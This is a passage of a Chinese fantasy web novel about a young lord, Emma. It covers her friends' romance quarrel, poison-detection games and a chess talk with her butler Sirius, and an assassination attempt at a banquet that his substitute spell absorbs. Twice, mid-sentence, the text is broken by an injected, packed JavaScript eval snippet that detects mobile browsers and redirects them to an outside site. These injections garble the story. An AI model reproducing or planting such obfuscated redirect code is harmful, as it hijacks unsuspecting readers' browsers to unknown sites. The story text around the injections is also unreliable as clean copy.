雪莉仍然固执地把她拽到艾玛身边,莫妮卡挣扎了一下,比不过她的手劲,没能把门关上。 雪莉气呼呼地讲:“艾玛,你说说看!” 艾玛愣了几秒,什么都没明白。 她看看脸红的莫妮卡,说:“恭喜?” 莫妮卡害羞地缩了缩,但应该是高兴的。 雪莉却插着腰愤愤道:“恭喜什么呀!我跟你说过那个杰利不行,你怎么还和他在一起了!” 莫妮卡说:“他、他很好啊。” “哪里好!”雪莉一点一点地数落,“只知道傍着爹妈的生意,自己没什么本事,就会油嘴滑舌的小子!跟你一起出门还要你请客结账,这种男的怎么能要?” “他忘带钱包了而已……” “这你也信啊!” “他的工资比我低……我请他也没什么啊。”莫妮卡嘀咕说。 雪莉更生气了,要艾玛评理:“你看看!” “呃,”艾玛举起手,首先客观公正地说,“我不认识杰利。那是谁?” 在雪莉充满个人情绪的描述和莫妮卡难得勇敢的补充之中,艾玛大致了解了情况。 杰利是城里一家蔬果店老板的儿子,有时在店里帮父母的忙,雪莉和莫妮卡就是在去他家店里买菜的时候认识他的。 他平时在外头和一帮狐朋狗友到处吃喝玩乐,把他本就不多的工资——也可以说是父母给的零花钱——月月迅速地挥霍一空。 杰利不算聪明,但是大胆外向还有点幽默——雪莉说他的笑话一点都不好笑,有多少主观成分暂且不论。 雪莉和莫妮卡家在城里不算太远,一起工作、熟识起来之后,她们就总是结伴回家,假期也会相约一起在城里逛。但莫妮卡近来找借口婉拒雪莉的邀请次数变多了,雪莉觉得有问题,悄悄地尾随了一下,这段恋情就很快暴露了。 “我知道不该瞒着你们的……我就是,就是有点不好意思……” “我又不单单是在气这个!”雪莉瞪瞪她。 艾玛拍了拍雪莉的背给她顺毛,那对白色的小翅膀被气得上下扑腾。 雪莉向来情绪外露,她头顶那对翅膀总跟着心情变化动作,艾玛看着挺有趣的。 “好了,莫妮卡也有她自己的看法。”艾玛安抚道,“我没见过那个人,但起码,他和莫妮卡互相喜欢吧?” 雪莉扑扑翅膀,很憋屈:“可那小子,真的不行啊!我看他哪里都不行!” 莫妮卡为恋人辩解道:“杰利有他的优点,有些你没看到的……他对我很好。” “多送你点水果、多夸你几句就是好吗?人贩子也这么干!” “你别这么说他!”莫妮卡不高兴了。 “还有啊!”雪莉说,“你居然还允许他摸你的尾巴!我和艾玛都没有摸过!” 哦。 艾玛一怔,露出了更为严肃的谴责表情:“嗯,这很过分。” “诶?艾玛你也……”中立的艾玛突然不帮她了,莫妮卡手足无措,有点委屈地咬唇默了片刻,低声嘀咕了一句,眼带泪光地跑开了,“我不跟你们说了。” 雪莉跺跺脚,在原地转了好几圈,发出意味不明又伤心恼怒的各种气声。 艾玛无奈道:“不放心的话还是去追她吧。” “我才不去!她就要吃到苦头了才知道我说得对呢!”雪莉恨恨地说,但翅膀没精打采地耷拉着,“艾玛,你说呢?我做得不对?” 艾玛想了想:“我没有谈过恋爱,不太清楚。但是……在爱情上,优秀的人大概不一定是合适的人。那个杰利可能不够优秀,但他或许很适合莫妮卡也说不定。” 雪莉动了一下翅膀:“唔,所以你拒绝了好多贵族的求婚,不是因为他们不够优秀,而是他们跟你不合适吗?” “那不一样,我根本都不了解他们。”艾玛说,“第一次见面就上来求婚的人,说得再动听也不值得相信。比起我本身,他们只是在乎这个领主的身份罢了。” 雪莉沉思了一会儿,叹口气:“哎……当领主真累啊,要担心这个那个的。辛苦了——下午是不是还有客人?” 她从背后弯下身抱着艾玛,像是感到生活的艰难悲伤一样压下自己的重量,埋头在她肩膀上哼哼。 艾玛摸摸她的头,说:“本来是,我推掉了。” “啊,任性!刚刚还在说你辛苦耶!” “那种反复前来,为了同样目的的客人,没有多应付的必要。我说自己身体不舒服,劝他回去了。” “艾玛你成熟了好多哦。”雪莉眨眨眼睛,“还是说,可能你本来就适合干这些……哎,我觉得好厉害。城堡重新开始举办宴会了,你开始做越来越多领主的工作,莫妮卡开始谈恋爱了……好多事情在发生。 “我感觉一天天都很忙,但回头看看,自己又好像没什么变化。怎么办,你们是不是要甩下我了?” “变化可能是在某一天突然来的吧。莫妮卡大概自己也没有想到,会突然喜欢上什么人。你的‘意外’说不定明天,说不定后天就会来呢?” 雪莉缩缩脖颈:“算了,不想想象!好吓人。” “不可怕吧,比如明天起床发现长高了两厘米之类。” “哦哦这个可以有。”雪莉点头,“不过差不多就行了,不能天天长,太高了也好麻烦!” “我的衣服尺码变了不少……”艾玛思考。 雪莉认同:“我也……有条很喜欢的裙子,最近穿不上了,还想看看能不能改改继续穿。或者去买新的。哎,这个月的工资什么时候发来着?” “下周吧。”艾玛说,“那么为了匹配薪水,雪莉小姐是不是该去工作了?” “哎,知道了领主大人!走了走了不打扰你看书了,晚点见,我还要去厨房——”雪莉直起身拨拨头发往门口走,临门前又脚步一顿,“莫妮卡的事——如果,有什么问题……” “如果有问题,我们一起商量。”艾玛向她挥挥手。 雪莉放心了,轻快地应了一声,关上门出去了。 艾玛放下手,看向窗外明媚的春光,是个好天气。 莫妮卡谈恋爱了啊。 她后知后觉般再度意识到这件事,茫然地重复了一遍。 莫妮卡今年就十六岁了,生日还没到,但也即将成年。这个年纪谈恋爱再正常不过了,不算早也不算迟。 在波克奈利,成年可以说是法律上婚姻的唯一门槛,因此在艾玛十四五岁时送来的联姻邀请便已经很多了。 但恋爱跟婚姻还是不太一样。 艾玛对于波克奈利王国的法律里,婚姻后夫妻双方的权责分割、财产所属等问题已经有了相当的了解,恋爱可不进法律,它本该是在婚姻之前被提及的东西。但贵族中,更重后者显然是常态。 艾玛漫无目的地想到,随着年龄增长,雪莉越来越漂亮了。 她本就是个出挑的美人胚子,追求者众,但雪莉向来对那些男孩不屑一顾,觉得他们哪儿哪儿不好。倒是内向腼腆的莫妮卡先谈起了恋爱。 她想,生活难料。 “您可以睁开眼睛了。” 艾玛听到提示,睁开眼,看到桌面一如惯例,并排放着三杯热茶。 “请。”西里斯微笑着向她比了个手势。 三杯茶水的颜色相同,看不出什么区别。 但艾玛本来也不是要靠观察得出的细节判别,她根据直觉想了几秒,便抬起头,伸出食指一杯杯点过杯沿。 “这杯里下了毒;这杯不知道加了什么;这杯应该是正常的。” 西里斯说:“答对了一半。最后这杯里加了安眠类的药物。” 艾玛一愣:“你不是说每次都有一杯是没问题的吗?三杯都……” “哎呀,您也不能因为我说没问题就毫无警惕心啊。” “这是……犯规。” 西里斯笑着将加过药的茶一杯杯倒在旁边的废水缸里:“抱歉,您的判别能力已经很不错了,我想应该提高点难度。” 艾玛说:“普通的安眠药物算不上毒,也有人用它们治疗失眠。茶水里本来的成分也会和后来加入的药混淆,分辨的难度太高了。” “即使是对您‘无害’的药物,只要会对您产生影响,您都应该要有能够事先预警的能力。”西里斯说,“就像‘善意的谎言’也是谎言,有了分辨谎言的能力之后,是否要接受它背后的‘善意’,您可以有自由决定的权力。” “我明白你的意思。”艾玛点头,“但是,你对我没有敌意,也不会真的让我喝下有问题的东西。失去这份动机,判断起来更困难了。” 西里斯笑:“那您不如也用更怀疑的眼光来看待我,会觉得容易些呢?” “如果连你都不能相信,问题才真的很大。” “感谢您的信任。那么,愿赌服输。”西里斯拍了拍手,“办公室里这周目前收到的三十二封信,都需要您亲自写完回函哦?” “我会的。”艾玛答应下来,片刻后陷入沉思,在西里斯用新杯子沏好茶推到她面前时,她才问, “你是那种会为了少做一些工作给我挖坑的人吗?应该,不是吧,西里斯?” 西里斯微笑:“我是。” 艾玛端起茶,无言地喝了一口。 艾玛到西里斯房间拜访时经常和他玩点这样的小游戏,也算学习的一部分。 赌注基本是些小彩头:这周的一部分工作、某项活动的策划安排、谁去应付今天的客人。 其实他们两个对这些赌注大多时候都没什么所谓,艾玛倒希望他真像他说的那么在乎,那样西里斯提供的“动机”会更强烈,这游戏也不至于这么难猜。 在艾玛的学习进度达到一定标准后,她在西里斯的帮助下正式开始处理领主的工作,待在办公室的时间越来越长,现在有一半时间,西里斯已经将领主的办公室还给了她。所以此刻她还在西里斯的书桌上看到了一部分他拿回来处理的文件。 去年冬季的时候,城堡重新开始举办宴会,艾玛也正式出现在了公众场合,真正像位年轻可期的领主一样。 口音和礼仪都已经在学习准备中得到了修正,还有失忆的借口,没人对她有多余的怀疑。 由于温和谦逊的品性,和这几年来费城蒸蒸日上的成绩,艾玛目前的风评很好。 她看着桌面的棋盘沉思,格子黑白分明。 国际象棋里白子先行,所以艾玛和西里斯下棋时大多执白棋。西里斯下棋很厉害,他跟艾玛下棋的大部分时间都在放水,下得太心不在焉的时候也会让艾玛赢上两局。 艾玛从他那里学到了不少下棋的技巧,用于跟其他人比试时让她频频得胜。 艾玛停了一会儿,将面前的白棋向前推了一格,突然问: “西里斯,你谈过恋爱吗?” 西里斯因为诧异挑了挑眉:“您怎么忽然想起这个?” “啊……今天听说朋友恋爱了的事,突然有点在意。” 虽然匿不匿名对西里斯可能没多大差别,但艾玛还是帮莫妮卡做了个聊胜于无的掩饰。 西里斯思忖三秒,移动了自己的棋子:“我不太清楚您这个问题的定义。如果是指和他人有‘超越正常交流的暧昧关系’,诚实地说,为了一些特殊目的,我曾和一些人保有并不单纯的交往联系。甚至有的时候,对方也清楚我别有用心,只是各取所需。这在部分旁观者看来,可以称作‘爱情’。 “如果您想问的是精神上的‘动心’……那么,我没有这样的经历。” “欸……”艾玛愣了愣,“我还以为,西里斯既然活过很久的话,多少有喜欢过那么几个人的吧?” “爱情眷顾追求幸福者,像我这样渴望放弃生命的魔鬼,不在它光临之列。”西里斯说, “您突然这么问,是在恋爱方面有什么困惑?” 艾玛说:“因为自己没有这样的体会,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983405|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到别人恋爱的时候才感到困惑。” “那恐怕是还没遇到喜欢的人,如果遇到了,您自然就明白了。” “你虽然说没有喜欢过谁,可是谈这个的口吻好像经验丰富。” “‘恋爱’也只是人际交往关系的模式之一。我跟各种各样的人打过交道,例子看多了,大概能想象是怎么回事。” 棋盘被冷落了好一阵子,艾玛才想起自己半天没移子,将自己的棋移了一格:“这么说……爱情故事我看过很多,但还不是很能理解。” “作家编写的戏剧故事跟现实多少有出入,或许您多看看身边的例子,会有更多感受。比如您刚刚提到的那位,‘朋友’。”西里斯不需要多少思考,就走了下一步。 为莫妮卡脆弱的脸皮考虑,艾玛决意把话题从朋友身上移开:“我最近收到了很多情书,写信的人都说他们出于‘爱情’。没想到真有人把信写得像戏剧里的台词,我看故事的时候还以为是剧作家的夸张。” “在提出联姻之前,知道写几封情书铺垫的还不算太蠢。”西里斯说,“那么,您有看上其中某位的‘文采’吗?” 艾玛回忆着自己印象最深刻的一封:“文辞漂亮的倒是大同小异……伊克里尼伯爵家的长子,宴会上见过面后,第一封信就直接提出了联姻的想法,然后用陈述的笔调列出了和他们家族联姻的所有利弊,连坏处都诚实地写了好几条…… “他说我马上就要成年,费拉约尔斯所具有的潜力和利益让很多人眼红,即使不选择他,也希望我能尽快找一个可靠的家族撑腰,否则恐怕有性命之危。因为实在太直白了,反而让我印象很深。” “据说伊克里尼的家风确实如此。不过,直白到这种地步,看来他很欣赏您。” “我感谢他的友善,但拒绝了他的提议。” “当然,您没有任何将就的必要。他们为您开出的价码,我从来随时可以提供给您。” “我知道。”艾玛拿起棋子,想了一会儿,又把它放回去,移动了另一颗,“桑戴佩拉女士也说过类似的话。没有出身和姓氏的我,情境并不乐观。但费拉约尔斯的领主是个好身份,会有贵族为此趋之若鹜……我只要学会怎么做一个好妻子,找到一个好丈夫,别的就不用太担心了。这之类的。” “哦,她还说过这种话。”西里斯意味不明地说。 “这些话我倒没有放在心上。因为那听起来是‘没有选择’,但我知道,我拥有的‘选择的机会’,远比她了解的要多。”艾玛停了停,“但是……奴隶没有那么多选择的权力。” 她话音里的犹豫意有所指。 西里斯笑了笑,语气却漫不关心:“又有人向您提了为难的要求?” 艾玛沉默一会儿,对他说:“我不想让人那么看待你。” “看来我该在脖子上套个项圈,挂块‘不可出售’的牌子,让他们省了那些困扰您的问价。” “我不是那个意思。”艾玛说,“你不应该是……能够被估价,可以被交易的。” 西里斯的语气依旧很淡:“这是个方便的身份,我很满意。不会被清高的贵族在乎,还会被自以为是的蠢货当作可以招揽。 “波克奈利的奴隶制还算温和,甚至按这个趋势看,百年内能直接废除也说不定。只有代代传承头衔、沉浸在高人一等优越中的贵族才永不清醒。 “这里的普通人从没因为我在身份上类属‘奴隶’而对我有什么偏见……哦,虽然单从外表上确实看不出来。” 西里斯想了想:“有些人为了宣示对奴隶的所有权,会在奴隶身上烙印……但我这样的体质,烙了也会很快复原。我虽然想死,但没有受虐的癖好,只是平添痛感的措施恕我拒绝。您如果有想法,考虑点别的?” “我不可能对你做那种事。”艾玛捏着吃掉的黑子,抿起了唇。 “或者……下次有人向您开价,您就直接答应好了。我向您保证,那位买家几天内就会遇到‘意外事故’,只要您不嫌弃,我可以顺理成章地回来……这种事只要反复两三次,相信没有人还敢打我的主意了。” 艾玛说:“这是玩笑?” “一半吧。确实可以作为一种备选方案,不过实行起来有点麻烦就是了。” 艾玛捏着棋子,看着棋盘问:“西里斯,你喜欢杀人吗?” “谈不上喜恶。”西里斯说,“杀人是我实现目的的手段,不是我追求的过程。” “嗯……为了那些人的生命安全,我还是一个个拒绝他们吧。” 西里斯笑:“您之前是怎么拒绝的?” “我跟他们说,我从没有把你当做奴隶,”艾玛顿了顿,“你是我的……家人。” “啊,那样的场面话,请尽管说吧。”西里斯口吻轻松,“用在这样的情境,是很漂亮的回绝。” 不是场面话。 艾玛敛下目光,没有开口。 在那个爆发又沉寂的夜晚之后,西里斯第二天就向她道了歉。 他说他当时梦见了一些事,心情不好,没能控制住自己的情绪。下次不会再发生同样的事了。 他没有说梦见了什么,也没有收回那晚上的话。 艾玛知道西里斯有很多事没告诉她。 每个人都有秘密,不愿意提的事。西里斯不打算说,艾玛也不会追问。 艾玛能够感觉到,西里斯对她的友善并非单纯出于他所说的愿望和利益。 相处的时间越长,他们之间的关系确实日渐亲近。 但因为亲密的感觉越发强烈,那横亘在他们之间却刻意不被提起的“过去”,也就越显清晰。 清晰到就算艾玛能说给自己一千个道理,她还是为此感到难过。 艾玛回过神的时候,棋局已经被将军了。 她看了看棋面,发现自己因为心思不在棋局上,后面越下越乱七八糟。她还没有在面对西里斯时这么不走心都能下好的本事。 “我输了。”艾玛放弃挣扎,直接认负。 “您心思不在棋局上。”西里斯收拾起棋盘,“改天再下吧。” 艾玛向椅背上仰去,看着窗外的春色。树叶在枝头抽芽。 28.觉察 宴会厅在重新启用前进行了一次彻底的翻修,“彻底”的目的是为了不让某个佣人嗑的瓜子壳、某次活动中掉在角落的彩带碎片等杂物得到被某个闲得无聊的客人发现的机会。 在停办宴会期间,这里俨然成为了佣人们最好的举办活动场所。虽然使用许可要得到管家的审批,但他们的小主人对各种活动充满好奇,申请通过率很高。 趁着翻修,西里斯把整个宴会厅的设计都换了一次,参考了嘉兰的意见,考虑了艾玛的喜好。修改之后的厅堂不再是原来那么富丽堂皇的夸张风格,更为雅致内敛。 打扫宴会厅的女仆们很满意,因为打扫起来更容易了。 西里斯也很满意宴会厅中这个视野不错又不引人注目的角落。 他靠在墙上,从这个角落里看着宴会中心的艾玛。 她周围有许多年龄相若的少男少女,艾玛处在他们之中,外形装扮上都算不得显眼。那个小圈子里侃侃而谈的人不是她,但说话的人总会时不时看看她的反应。 艾玛主动说什么的时候并不多,多数时间在应和说话的人,跟着话题的内容轻微变换表情。 这并非那些教养良好的小客人们真的不懂事,不知道要让主人的面子,而是艾玛实在是个很好的倾听者,她也乐于当个倾听者。 在同龄人之间,艾玛身上那种温和稳重的气质更显突出,那并非刻意能够装出的成熟,而是一种更天性使然的特质。 说来也值得感慨,西里斯刚见到艾玛时,以为她是内向木讷的类型。但艾玛在安全的环境中待了一段时间后,慢慢展现出了自己应有的本性。 有符合年龄那一面的天真幼稚,更有蓬勃的求知欲和好奇心,不少时候让他有点头痛。 而随着年龄增长,那种孩子的活泼慢慢沉淀,使得一直存在于其下的那份稳定到异常的“平静”再度清晰地浮现出来。 那大概是月神女巫的特性。西里斯想。 他从前没有跟历任的月神女巫打过交道,不太了解她们的秉性。 不过要只是冷静算不得坏事,西里斯甚至可以说欣赏这种性格。 面前的灯光突然被挡住了一半。 停在西里斯面前的少女伸手,从路过的侍应生托盘上拿了杯酒。宴会厅的灯光从她背后溢过来,显得她在昏暗的光线里面容柔和了些。 “我们的大忙人在这当盆栽呢?” 嘉兰似笑非笑地打量了他一遍,目光停在西里斯手中的细口玻璃杯上,“还拿着度数这么低的酒,你装自己不能喝?” 西里斯也打量了嘉兰的装束,笑了笑。 “笑什么?”嘉兰啧声。 “很少见你这么打扮,还挺新奇的。” 嘉兰平时对打扮没什么兴趣,工作需要穿女仆装给她省了不少心。但她现在的装扮,站在那些精心打点的贵族中都不突兀。 半边刘海被梳起,头顶缀着珍珠的发卡,镶着宝石的绸带束发,甚至化了点妆。礼服短裙的裙摆没过膝盖,嘉兰在换裙子时曾为这减少了藏武器空间的着装提出抗议,但抗议无效。 锻炼武艺的人,精气神往往很好。嘉兰身形挺拔,穿着这身一路上得了不少注目。 但与之相对的是她本人显然不满意,听到西里斯这么评价,甚至不自在地撇了撇嘴。 “多蒙先生那边也在办宴会,有个外地来的商队,他执意要我打扮一下再出席。我看时间差不多,回来的时候还能赶上城堡这的宴会,他就叫我别换衣服了,就这么回来。”嘉兰走到西里斯身边,踩着高跟让她和西里斯的身高差距进一步缩小。 她往西里斯旁边的墙面上一靠,发出一声无可奈何的叹气,“多蒙先生年纪大了,看谁都像他孙子孙女,除了工作还每天担心别人的家长里短……妆是化妆师画的,衣服是别人挑的,我不好拒绝。 “所以,你在这角落和花瓶肩并肩干什么呢?” “看风景。”西里斯说。 “看风景出门看……不对,管家先生,这种场合你该忙的事多着呢,把躲懒说得那么轻松?” 嘉兰环视厅内,最终将目光落回他脸上,“还是说,不是躲懒,是在躲桃花?” 西里斯不置可否地晃了晃杯子。 “挖你挖到艾玛大人面前的,我都看见过好几回,不可能没人找你私下谈吧?” 西里斯道:“你觉得他们挖得动我?” 嘉兰看看他:“不觉得。但我看得出,有些人是真喜欢你。” “看见别人家的狗养得好,就想买下来,把它变成自己的,对贵族来说不是很正常吗?” 嘉兰哼笑一声,不知道在说谁:“可怜。” “那你呢?”西里斯抬抬眼,“拒绝了多少橄榄枝?难得多蒙先生好心,还替你做了这样的打扮,待在这种别人注意不到的角落就可惜了。不趁现在去走走,多认识点人?” “给自己找麻烦回来?”嘉兰不屑道。 “怎么会是麻烦,想要‘温布德尔’这个姓氏的富豪俊杰一定不少,你的选择空间很大。” 嘉兰龇牙:“你故意损我呢?” 西里斯没回答。 根据对他的了解,嘉兰认为这是默认。 她有点烦躁地皱了皱眉:“是,谁都觉得父亲能留给我这个姓氏就是天大的好处,不愁,呵,不愁嫁不出去。波克奈利有成年才能结婚的法律,但订婚从来不论年纪,我从小就因为这个烦得要命……对我母亲和妹妹千叮咛万嘱咐别上别人的套。” “她们真不小心把你卖了,你也能把下套的人家拆了吧。” “我拆过了。” “哈哈,不愧是你。” 嘉兰喝了口手里的酒:“我还留着这个姓氏……主要为了母亲开心。她不会接受我放弃父亲用荣耀换得的姓氏。我说不动她。但对我来说,从来不觉得这是什么好事。 “别的不提,保留姓氏需要每个月向王室缴纳税金。从前道恩先生替我一起付了,现在要用来养这倒霉姓氏的钱还得从我工资里扣。” “哦,这确实。”每个月都要查账交税的西里斯证实。 “说来……艾玛大人没有姓氏。”嘉兰想到这里,顿了顿,“寻常来说,没有姓氏是不会被承认为贵族的。” “她失忆了,又不愿意随便领一个姓氏,当然只好做个特例。” “他们可不会轻易给人开‘特例’。”嘉兰瞥他一眼,“你动了什么手脚?” “商业机密。”西里斯说。 嘉兰不悦:“认识这么久了,你还信不过我?” “好吧,那看在‘认识了这么久’的份上,你就该知道——这也是‘巫师的手段’。”西里斯的语意转换流畅而毫无停顿,说了跟没说一样。 嘉兰想,她真是欠的,能指望这家伙说什么好话? 宴会厅里的舞曲已经奏到了第三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991224|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支。初次见面或者早就相识的客人们挽起手,在音乐里转起圈来。 出于气氛,或者没话找话,嘉兰问他:“要不要去跳舞?” “不了。”西里斯说,“我不喜欢跳舞。” 嘉兰倒是挺擅长跳舞的。体力运动相关的事,她基本都很擅长。但西里斯确实平时就一副不喜欢剧烈活动的样子。 西里斯看着舞池中的人群,嘉兰就从侧面打量他的脸。 早在西里斯刚进入领主城堡的时候,在名目众多的文件中,就填过有关他自己个人信息的文档。 要说他会在那上面说实话,嘉兰不信。 但即使问他本人,得到的真实信息恐怕也不比那文档更多。 三年前,他在文档上填的年龄是三十六岁。有人问起,他也一直这么自称。嘉兰对此半信半疑。 因为单论外表,西里斯实在太过年轻了。在嘉兰看来,也就是二十多岁的年纪。但他的脾性和处事又远不是二十多岁能比,处处透露着世故老练。 要说他实际有六十三岁,嘉兰甚至觉得反而能接受。 这倒不是说他身上有那种迟暮的老气。嘉兰时常见到西里斯见缝插针地找机会给他自己放假,对偷懒的积极程度跟她那些不懂事的小同事一个水平。 她刚开始实在是不理解,纳闷得很,以他那正是事业上升期的年纪,和不知道做过多少工作才磨出来的熟练,怎么会这样散漫又全无野心? 一个人担着甚至不合理的超负荷工作量,一边说着不喜欢麻烦,又一边不停地给自己找麻烦。 西里斯身上充满嘉兰不理解的矛盾。 那是种奇怪的感觉,仿佛他兼有年轻与苍老,好像燃烧后的余烬,灰烬下却又盖着火星。 不会他真是什么怪物吧? 嘉兰在先领主身边早早听过许多巫师的传闻。一些甚至有些邪乎的故事中,巫师和恶魔差不多划着等号,再不然也有千丝万缕的联系。 有传闻说,恶魔会变化成美艳的女性或漂亮的男子,以提高蛊惑力,劝诱人类相信他们的甜言蜜语。 西里斯的容貌算不上出挑,个子高是高,也要看跟谁放在一起对比。红色的长发不罕见,暗红的眼睛也不容易注意到。 嘉兰想,如果只是在街上遇到,只看过一眼,她大概是记不住西里斯的。 但西里斯身上有一种能够引人注目的特殊气质。如果你看着他的眼睛,看见他对你微笑,你就已经被那种特质所抓住了。 那是扰乱人心跳、又让人困惑的,难以分清这感觉出于心动还是恐惧。凝视他像凝视海里的漩涡。 如果魔鬼真要用皮囊勾引人类,那些外表过于艳丽的或许反而不可怕。 但如果恶魔是像他这样,等人类发现问题时,恐怕早已深陷其中了。 嘉兰为自己的想法晃了晃神。 不知道从什么时候开始,她好像觉得,西里斯长得很顺眼,甚至可以说……还挺好看的。 啊。 嘉兰回过神来,在明亮宴会的这个不起眼的角落,听到自己内心恍然般地一动。 发现的时候……已经为时太晚了吧。 嘉兰看着西里斯的侧脸,在那片刻愣怔中,见到有鲜血从他嘴角溢出。 厅堂里的人群突然爆发出一阵惊恐而混乱的尖叫。 刚刚还在宴会中心与人交谈的艾玛,从身后被一柄匕首刺穿了腹部。 29.后手 “西里斯!” 由于西里斯就在她面前吐了血,嘉兰第一时间没能顾及到场内的混乱,率先关注到了他身上的异常,“你怎么——” 西里斯皱眉抹掉嘴角的血迹。嘉兰听到他轻轻啧了一声。 西里斯把手里的酒杯往嘉兰手中一塞:“拿着。” 他说完就从墙面直起身离开了,动作很快,反而被一系列情绪所震撼的嘉兰还没反应过来,一手拿着一杯酒,半天才慢慢吐出了一句骂人的俚语。 刚刚在宴会一角和女宾交谈的凯则在混乱爆发的同时,看见了从墙壁、桌椅、灯盏等地方衍生出无数眼熟的红线,有几根红线几乎是擦着他身子过去的。 凯动作僵硬了一下,努力让自己有意识避开红线的动作在身边人看来不要太不自然。 宴会中心的艾玛和她身后的刺客周围已经留出了一小片空白,宾客们纷纷因为恐惧退开,只有少数客人还试图上前阻止。 那刺客穿着一身黑色的正装,乍看和寻常来参加宴会的客人无异。 他的额头还有些冷汗,握着匕首的手微微发抖。但刺出那一刀之后,他的动作就彻底僵住了,感到仿佛被什么力量定在了原地,扼住了咽喉。惊恐浮现在他的目光里。 他看到宴会厅的角角落落里衍生出的红线,它们交织、缠绕,将他困在其中,好像蛛网里走投无路的猎物。 客人们看到那个刺客停顿了几秒,后退两步,拔出了匕首。 胆小的客人几乎已经开始尖叫了,但是抽出的匕首上毫无血迹,艾玛身上也没有鲜血喷出。 那些发出了一半的嘈杂的声音,在这诡异的氛围里全都安静了下去。 刺客站在原地,抽搐了一下,倒在了地上。 在那诡异的几秒安静后,一些私语低低响起来,刚刚想要上前挽救情况的客人在异状前反而迟疑了片刻,正要上前时,却被人伸手挡了下来。 他看了一眼,领主的管家拦下他,向他微笑:“请留步。” 管家走到艾玛身边,向她行了个礼:“已经处理好了,请您放心。” 艾玛想说什么,眉心微微皱着。 另一边的凯已经匆匆赶过来,手里拿着一件女士短外套,替艾玛披在了肩上。 凯送完外套,就不声不响地站到了一边。 艾玛停顿一下,最终没有当场问什么,点头答:“好的。” 意外发生在餐桌边上,艾玛刚刚在桌面放下了一杯酒。 西里斯很自然地拿起那杯酒,举杯向周围的客人们致意:“抱歉惊扰了各位。插曲已经结束,诸位可以继续安心享受宴会。祝各位玩得尽兴。” 他退后两步,退到倒地的刺客身边,向艾玛一欠身,随后跟刺客一起消失在了原地。 宾客们窃窃私语起来。 刚刚环绕着艾玛的客人们又围上前,关切地询问她的情况。乐队恢复了演奏,厅里再度响起了乐声。 和乐队交代完接下来演奏曲目的嘉兰匆匆离开了会场,去找在外围警戒的迪尔,嘱咐他带人观察剩下来宾的情况和异常。 那些低低的讨论声被乐声削弱了不少,不连贯的词句却仍然飘到了艾玛耳边。 她听见客人们说着——“巫师”! 艾玛敛了敛目光,温和地回应起周围的问询。 艾玛打开休息室的门,房间里的灯已经亮着了,西里斯坐在沙发上。 虽然是冬天,但壁炉将房间烤得暖融融的。 艾玛脱下了刚刚凯给她披上的外套,搭在手臂上。 她自己最清楚,这件外套根本没有必要,只是个掩饰。 因为她的腰上没有伤口,没有血迹,礼服上只有被匕首划开的口子。 “您提前离场了。”西里斯看着时间说。 “嘉兰在看着情况。出了刚才的事,我提前离场是正常的。”艾玛向他走过去,“我说要去换件衣服。” “确实,您的礼服被刀划开了。真是会给人找麻烦的刺客。”西里斯叹气。 房间里只有西里斯一个人。 艾玛环视一圈,问:“刺客呢?” “我已经‘请’他回去了。”西里斯拿起放在茶几上、用于行刺的匕首,“回他背后的雇主那里。” “一般的刺客,不可能避过你的眼睛接近我。”艾玛说。 “他是个专长于隐匿自己的巫师。这是我的疏忽。”西里斯说,“出身于市井的扒手,倒有这份天资,因此得到了贵族的招揽,替他们做些见不得光的活……但是,从未杀过人,还是当众之下。 “他本来预计瞄准您的心脏,但因为过度紧张,没掌握好动手时机。不过,交给他匕首的好心贵族老爷在刀上涂了剧毒。瞒着这个可怜的刺客,没告诉他城堡里很可能有我这样的巫师,宁愿放弃这好用的棋子……看来是实在很想让您一击毙命。” “你问得很清楚。”距离事故发生并没有多久,艾玛感到刺客吐露得也太详细了。 “我曾和您说过,我不擅长修改别人的认知。这是在保全那人精神的前提下。”西里斯说,“对刺客就没必要那么体贴了。问出想要的东西之后,我对他的认知和记忆做了改动。他还能够思考,不过差不多半疯了。 “现在这疯了的弃子已经把他原本的雇主当作了仇人,真想看看,那些人刺出的刀插回他们自己身上的时候,会露出什么样的表情呢?” 艾玛没有说话,垂着眼接过了西里斯手上的匕首。 “我知道您不喜欢杀人,抱歉,这是最有效率的解决方法,而且不会弄脏地毯。” “嗯,”艾玛说,“我知道。我没有责怪你的意思。既然我无法拿出更好的解决方案,你有权按你的方式行动。” 西里斯笑笑:“您是个很好的上司。” 艾玛把没有血迹的匕首放回茶几上,垂眼看向西里斯的腰腹。 她弯下身,拨开西里斯的外套。 和她想象一样的,西里斯腹部的衬衣,和她被刺客的匕首刺中的相对的位置,洇开了一片血痕。 “替身的法术。”艾玛说,“你没有告诉过我。” “这是个以防万一的防护措施,我本来希望它不会被用上。”西里斯轻松地说,“没有特意说明的必要。我们之间的契约效力非常强,在这之上添加替身的效果格外简单,不需要复杂的步骤。 “这个法术会替您转移致命的伤害,不过有时效,而且是一次性的。为安全起见,我应该再给您添上新的……” 艾玛只是盯着那片红色的血痕,不知道有没有在听他解释,这时忽然说:“让我看看你的伤口。” 西里斯一顿,说:“毒对我没有效果,腰上被刺了一刀,跟擦伤没什么区别。伤口早就已经愈合了,疤痕都不会留下。 “只是伤口裂开那时候流了点血。您如果看着碍眼,我会去把衣服换下来。” 艾玛指尖按上被血液浸透的那块衬衣。 因为伤口恢复的速度太快,在受创的同时就开始愈合,甚至渗出的血液都不算多。 就像西里斯说的,隔着布料,摸不到任何伤口。 